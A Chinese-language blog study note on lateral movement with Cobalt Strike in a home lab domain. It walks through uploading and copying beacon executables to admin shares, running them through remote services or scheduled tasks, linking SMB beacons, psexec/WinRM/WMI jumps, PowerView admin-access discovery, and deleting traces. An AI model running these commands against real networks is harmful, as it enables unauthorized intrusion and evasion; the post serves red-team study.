0x00 前言

实现代码执行的四个步骤:

1、与目标建立信任关系

2、复制可执行文件到目标上

3、在目标上运行可执行文件

4、实现对目标的控制

以上是根据视频教程中直译的结果,个人感觉其实这一节叫横向移动的方法更为合适。

0x01 创建可执行文件

创建可执行文件可以在 Cobalt Strike 的 Attack -> Packages -> Windows Executable(s) 处进行创建。

如果用于内网中的横向移动,那么强烈建议使用 SMB Beacon,SMB Beacon 就是为了内网横向扩展渗透而设计的。

0x02 上传可执行文件

首先使用 Cobalt Strike 上的 upload 功能上传文件,接着复制文件到目标主机的其他位置。

shell copy file.exe \\host\C$\Windows\Temp
beacon> upload /root/beacon.exe
[*] Tasked beacon to upload /root/Desktop/beacon.exe as beacon.exe
[+] host called home, sent: 289302 bytesbeacon> shell copy beacon.exe \\WinTest\C$\Windows\Temp
[*] Tasked beacon to run: copy beacon.exe \\WinTest\C$\Windows\Temp
[+] host called home, sent: 72 bytes
[+] received output:
已复制         1 个文件。

0x03 执行文件(方法一)

1、生成 Windows Service EXE 并上传

2、在目标主机上创建一个服务

shell sc \\host create name binpath= c:\windows\temp\file.exe
beacon> shell sc \\wintest create beacon binpath= c:\windows\temp\beacon.exe
[*] Tasked beacon to run: sc \\wintest create beacon binpath= c:\windows\temp\beacon.exe
[+] host called home, sent: 93 bytes
[+] received output:
[SC] CreateService 成功

注:记住 binpath 路径

3、在目标主机上启动服务

shell sc \\host start name
beacon> shell sc \\wintest start beacon
[*] Tasked beacon to run: sc \\wintest start beacon
[+] host called home, sent: 56 bytes
[+] received output:
SERVICE_NAME: beacon TYPE               : 10  WIN32_OWN_PROCESS  STATE              : 2  START_PENDING (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)WIN32_EXIT_CODE    : 0  (0x0)SERVICE_EXIT_CODE  : 0  (0x0)CHECKPOINT         : 0x0WAIT_HINT          : 0x7d0PID                : 3816FLAGS              : beacon> link wintest
[*] Tasked to link to \\wintest\pipe\msagent_da00
[+] host called home, sent: 36 bytes
[+] established link to child beacon: 192.168.175.130

4、清除痕迹与服务

shell sc \\host delete name
beacon> shell del beacon.exe
[*] Tasked beacon to run: del beacon.exe
[+] host called home, sent: 57 bytesbeacon> shell del \\wintest\C$\windows\temp\beacon.exe
[*] Tasked beacon to run: del \\wintest\C$\windows\temp\beacon.exe
[+] host called home, sent: 83 bytesbeacon> shell sc \\wintest delete beacon
[*] Tasked beacon to run: sc \\wintest delete beacon
[+] host called home, sent: 69 bytes
[+] received output:
[SC] DeleteService 成功

0x04 执行文件(方法二)

1、生成 Windows EXE 并上传,注意这里生成的 EXE 和方法一生成的 EXE 是不一样的类型,这里生成的是Windows EXE,不是方法一中的Windows Service EXE

2、找到目标系统上的时间

shell net time \\host
beacon> shell net time \\windc
[*] Tasked beacon to run: net time \\windc
[+] host called home, sent: 49 bytes
[+] received output:
\\windc 的当前时间是 2020/8/30 14:54:09
命令成功完成。

3、创建一个计划任务

shell at \\host HH:mm C:\path\to\bad.exe
beacon> shell at \\windc 15:00 C:\windows\temp\beacon.exe
[*] Tasked beacon to run: at \\windc 15:00 C:\windows\temp\beacon.exe
[+] host called home, sent: 76 bytes
[+] received output:
新加了一项作业,其作业 ID = 1

4、当计划任务被执行时,执行 link hostname 即可上线主机

beacon> link windc
[*] Tasked to link to \\windc\pipe\msagent_d76a
[+] host called home, sent: 34 bytes
[+] established link to child beacon: 192.168.175.144

0x05 beacon 的自动操作

前面说的两种执行文件的方法都需要往磁盘里上传文件,如果不想往磁盘中上传文件,也可以使用 beacon 的自动操作。

  • 使用一个服务运行可执行文件
psexec [target] [share] [listener]
  • 使用一个服务运行 Powershell 单行程序
psexec_psh [target] [listener]
  • 通过 WinRM 运行 Powershell 单行程序
winrm [target] [listener]
  • 通过 WMI 运行 Powershell 单行程序
wmi [target] [listener]

在 Cobalt Strike 的 viwe --> Targets 下,右击主机选择 Jump 也可以通过图形化的方式进行上述操作,这样也使得横向移动更加的简单。

接下来进行一下演示,目前手中有一个普通机器的管理员会话,我们先在这台机器上运行 net view 查看一下当前域环境中的主机信息。

beacon> net view
[*] Tasked beacon to run net view
[+] host called home, sent: 104504 bytes
[+] received output:
List of hosts:
[+] received output:Server Name             IP Address                       Platform  Version  Type   Comment-----------             ----------                       --------  -------  ----   -------            WINDC                   192.168.175.144                  500       6.1      PDC    WINTEST                 192.168.175.130                  500       6.1

因为是自己本地搭建的测试环境,所以主机很少,可以看到当前域中有两台机器,再利用 PowerView 查找一下具有本地管理员访问权限的用户

beacon> powershell-import PowerView.ps1
[*] Tasked beacon to import: PowerView.ps1
[+] host called home, sent: 101224 bytesbeacon> powershell Find-LocalAdminAccess
[*] Tasked beacon to run: Find-LocalAdminAccess
[+] host called home, sent: 329 bytes
[+] received output:
WinDC.teamssix.com

接下来在 WinDC 上运行 psexec,因为这里是 64 位的,所以选择 psexec64,之后监听选择一个 smb beacon,会话就选择已经上线的 wintest 主机的会话,并勾选使用当前会话的访问令牌。

这里笔者认为应该是因为当前在 wintest 主机上有 windc 的管理员账户登录着,所以使用 wintest 的访问令牌是可以获取 windc 的信任的,类似于 CS 学习笔记 17 节里的描述方法,如有不正确之处,还请多多指教。

之后,windc 主机就上线了,域中如果还有其他主机,也可以使用这种方法去横向移动。

更多信息欢迎关注我的微信公众号:TeamsSix

原文链接:https://www.teamssix.com/year/200419-150637.html
参考链接:

https://www.bilibili.com/video/BV16b411i7n5

https://blog.ateam.qianxin.com/CobaltStrike4.0%E7%94%A8%E6%88%B7%E6%89%8B%E5%86%8C_%E4%B8%AD%E6%96%87%E7%BF%BB%E8%AF%91.pdf

【CS学习笔记】19、代码执行的方式相关推荐

  1. Python学习笔记19:列表 III

    Python学习笔记19:列表 III 其实这篇笔记标题应该是列表扩展,从列表开始,将涵盖Python中的序列容器. 关于列表的基础知识,可以看我的前两篇文章: Python学习笔记1:列表. Pyt ...

  2. Linux 学习笔记19 信号

    Linux 学习笔记19 信号 信号 信号概述 为什么要是使用信号--为了实现进程的有序退出 信号是进程运行过程中,由自身产生或者由进程外部发来的消息.信号是硬件中断的软件模拟(软中断) signal ...

  3. [python教程入门学习]python学习笔记(CMD执行文件并传入参数)

    本文章向大家介绍python学习笔记(CMD执行文件并传入参数),主要包括python学习笔记(CMD执行文件并传入参数)使用实例.应用技巧.基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋 ...

  4. TS学习笔记04 JS创建对象的方式

    TS学习笔记04 JS创建对象的方式 ​ 首先我们回顾下JS中创建对象的方式 ​ 比如说我按照下面的创建了两个对象分别为stu1和stu2,比如说我现在想给这两个对象都添加一个新的方法,但是这两个对象 ...

  5. openCV4.0 C++ 快速入门30讲学习笔记(自用 代码+注释)详细版

    课程来源:哔哩哔哩 环境:OpenCV4.5.1 + VS2019 目录 002.图像色彩空间转换 003.图像对象的创建与赋值 004.图像像素的读写操作 005.图像像素的算术操作(加减乘除4种不 ...

  6. (实验6,实验7)单片机,STM32F4学习笔记,代码讲解【看门狗实验】【正点原子】【原创】

    文章目录 其它文章链接,独家吐血整理 实验现象(实验六) 主程序(实验六) 独立看门狗初始化程序(实验六) 代码讲解(实验六) 实验现象(实验七) 主程序(实验七) 窗口看门狗初始化程序(实验七) 代 ...

  7. (实验50)单片机,STM32F4学习笔记,代码讲解【串口IAP实验】【正点原子】【原创】

    文章目录 ❤2023重新理解记录 其它文章链接,独家吐血整理 实验现象 主程序 IAP初始化程序 代码讲解 文章目录 ❤2023重新理解记录 其它文章链接,独家吐血整理 实验现象 主程序 IAP初始化 ...

  8. Ext.Net学习笔记19:Ext.Net FormPanel 简单用法

    Ext.Net学习笔记19:Ext.Net FormPanel 简单用法 FormPanel是一个常用的控件,Ext.Net中的FormPanel控件同样具有非常丰富的功能,在接下来的笔记中我们将一起 ...

  9. 区块链学习笔记19——ETH难度调整

    区块链学习笔记19--ETH难度调整 学习视频:北京大学肖臻老师<区块链技术与应用> 笔记参考:北京大学肖臻老师<区块链技术与应用>公开课系列笔记--目录导航页 前面学过,比特 ...

最新文章

  1. 用Python建立最简单的web服务器
  2. excel合并多个工作表_如何快速的合并多个 Excel 工作簿至一个工作簿中的工作表?...
  3. linux下nginx+python+fastcgi部署总结(web.py版)
  4. Safe or Glitch-Free Clock Gating
  5. 《编写高质量代码:改善c程序代码的125个建议》——建议14-2:在右移中合理地选择0或符号位来填充空出的位...
  6. XMLHttpRequest异步时的超级链接调用函数问题
  7. 50个GMAIL申请,来吧来吧!
  8. JAVA如何动态加载jar,并调用对应的函数?
  9. MVC 中 Html.RenderPartial()与Html.Partial()区别
  10. PJzhang:360压缩的用户许可协议和隐私政策阅读
  11. LU列主元法解线性方程组
  12. My Thirty-fifth Page - 最大二叉树 - By Nicolas
  13. python3必应壁纸爬虫练手
  14. 总结一些IT项目经理的管理方法与经验
  15. Clojure 语言在 2020 年的现状
  16. ubuntu安装pinta(图片编辑器)
  17. Ubuntu18 网速显示 插件 显示在状态栏
  18. 文章摘要智能提取【基于BERT技术】
  19. php phpqrcode 生成二维码
  20. Windows未正确加载怎么办?

热门文章

  1. 创业之路——网页版面设计收藏
  2. 政考网:考教师编制都需要哪些条件?
  3. java中的类和对象(重点)超详细
  4. ARM那些事儿和ARM培训
  5. ❤️40条软件测试面试常考题目总结(附答案解析)【建议收藏】❤️
  6. 年轻人要干什么样的工作
  7. linux用户基本操作
  8. Java课程设计-基于网络的彩票购买程序
  9. java response 远程 乱码_java-response-乱码解决
  10. 《那一场昨夜的长风》